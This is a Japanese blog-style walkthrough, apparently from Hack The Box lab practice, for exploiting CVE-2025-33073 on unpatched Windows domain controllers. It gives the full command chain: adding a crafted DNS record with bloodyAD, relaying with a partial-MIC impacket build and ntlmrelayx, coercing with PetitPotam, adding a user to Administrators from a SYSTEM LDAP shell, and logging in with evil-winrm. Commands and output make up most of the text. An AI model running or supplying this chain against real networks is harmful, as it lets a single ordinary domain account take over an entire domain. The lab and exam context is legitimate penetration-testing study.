使いどころ
- 一般ドメインユーザーの資格情報だけで、DC を
NT AUTHORITY\SYSTEMで掌握したいとき
既存 PoC( mverschu/CVE-2025-33073 等)がそのままだと動かなかったので、動きを分解し整理した。
前提条件
- 対象 DC が CVE-2025-33073 未修正(2025年6月の累積更新より前)
- DNS レコードを追加できる一般ドメインユーザー(AD 統合 DNS の ADIDNS は既定で一般ユーザーが追加可)
- coerce(認証の強制)した認証が ntlmrelayx のリスナーに届く経路があること
仕組み(なぜ SYSTEM になるか)
- coerce される SMB クライアントは
lsass(SYSTEM) - 細工名(細工した DNS レコードの名前)を自分自身(
localhost)と誤認してローカル NTLM 認証を行い、SYSTEM トークンを認証に載せる - これを DC 自身の LDAP へ反射するため、SYSTEM 権限のセッションになる
フロー
sequenceDiagram autonumber participant A as 攻撃者(ntlmrelayx) participant DC as DC(lsass=SYSTEM) participant DNS as DC の DNS A->>DNS: localhost+マーシャル名を登録(既定で一般ユーザー可) A->>DC: coerce(PetitPotam 等)で細工名へ認証させる Note over DC: 細工名を localhost と誤認 → ローカル NTLM<br/>SYSTEM トークンを認証に載せる DC->>A: SYSTEM の NTLM 認証が届く A->>DC: その認証を DC 自身の LDAP へ反射(リレー) DC-->>A: SYSTEM 権限の LDAP セッション確立 A->>DC: 任意ユーザーを Administrators へ追加 等
手順
1. 対象 DC が脆弱かを確認
侵入済みホストのパッチ適用日を見る。最終更新が 2025年6月より前なら CVE-2025-33073 に脆弱な可能性が高い
PS C:\htb> Get-HotFix-> InstalledOn のいちばん新しい日付が最終更新日
2. リレー環境を構築(MIC 回避ビルド)
NTLM リレーの MIC(Message Integrity Code。メッセージの改ざんを検知する値)チェックを回避する partial-MIC 版 impacket を venv に入れる
Ch4n24n@htb[/htb]$ python3 -m venv venv
Ch4n24n@htb[/htb]$ source venv/bin/activate
Ch4n24n@htb[/htb]$ pip install --upgrade pip wheel
Ch4n24n@htb[/htb]$ pip install ldap3-bleeding-edge==2.10.1.1337 dnspython
Ch4n24n@htb[/htb]$ pip install "git+https://github.com/decoder-it/impacket-partial-mic.git#egg=impacket"3. 細工 DNS レコードを登録し反映を確認
$DC は DC の IP、$RELAY は coerce 先(ピボット先)の IP。登録名は localhost 始まり+マーシャル済みターゲット情報(接続先の情報を詰めた文字列)。PoC で生成するか、下の値を流用する
Ch4n24n@htb[/htb]$ bloodyAD -u '[user]' -p='[password]' -d [domain] --host [DC].[domain] add dnsRecord localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA $RELAY
[+] localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA has been successfully added※レコードは反映まで2〜3分かかる
Ch4n24n@htb[/htb]$ dig +short a localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.[domain] @$DC
[RELAY_IP]-> 細工名が $RELAY に解決されれば OK
4. ntlmrelayx を DC の LDAP へ反射で起動
coerce で来た認証を DC 自身の LDAP へリレーする。-i で LDAP 対話シェル、--remove-mic-partial で MIC を回避
Ch4n24n@htb[/htb]$ ntlmrelayx.py -t ldap://$DC -smb2support --no-multirelay --keep-relaying -i --remove-mic-partial
[*] Servers started, waiting for connections5. DC に強制認証を実施させる
coerce_plus(PetitPotam)で、DC に細工名への認証を強制する。L= に登録した細工名を指定
Ch4n24n@htb[/htb]$ nxc smb $DC -d [domain] -u [user] -p='[password]' -M coerce_plus -o M=PetitPotam L='localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA'$RELAY(踏み台)側で、DC からの SMB 接続が届いているかを確認できる。
Ch4n24n@htb[/htb]$ tcpdump -i [iface] -n 'host [DC_IP] and port 445'6. SYSTEM の LDAP シェルで操作
反射が成功すると、SYSTEM 権限の LDAP 対話シェルがローカルポート(例: 11001)に開く
[*] (SMB): Received connection from 127.0.0.1, attacking target ldap://[DC_IP]
[*] (SMB): Authenticating connection from /@127.0.0.1 against ldap://[DC_IP] SUCCEED [2]
[*] ldap:///@[DC_IP] [2] -> Started interactive Ldap shell via TCP on 127.0.0.1:11001 as /開いたポートに接続し、SYSTEM 権限で任意ユーザーを Administrators へ追加する
Ch4n24n@htb[/htb]$ rlwrap nc 127.0.0.1 11001
# whoami
u:NT AUTHORITY\SYSTEM
# add_user_to_group [user] Administrators
Adding user: [user] to group Administrators result: OK7. 昇格を確認し WinRM でログイン
対象ユーザーが DC の管理者になったことを確認し、ログインする
Ch4n24n@htb[/htb]$ netexec smb $DC -u '[user]' -p='[password]'
SMB [DC_IP] 445 [DC] [+] [domain]\[user]:[password] (Pwn3d!)
Ch4n24n@htb[/htb]$ evil-winrm -i $DC -u '[user]' --password='[password]'-> あとはドメイン全体の掌握(資格情報のダンプなど)へ展開できる
注意・落とし穴
- 2025年6月の累積更新で修正済み。 パッチ適用済みの DC には効かない
- DNS レコードは反映まで2〜3分かかる。
digで解決を確認してから進める - MIC チェックの回避に partial-MIC 版 impacket と
--remove-mic-partialが必須 - 踏み台(ピボット)経由のときは、DC → ntlmrelayx の SMB/445 の到達性を転送(Ligolo-ng 等)で確保する
参考
おわりに
- 個人的に過去一やばい脆弱性です!
- なぜなら、1つのドメインユーザーを知っているだけで、ドメイン全体を掌握できるからです💦
- 試験とかでDCを見つけたら、最初にこれを検討してみてください!!(まじでオススメ)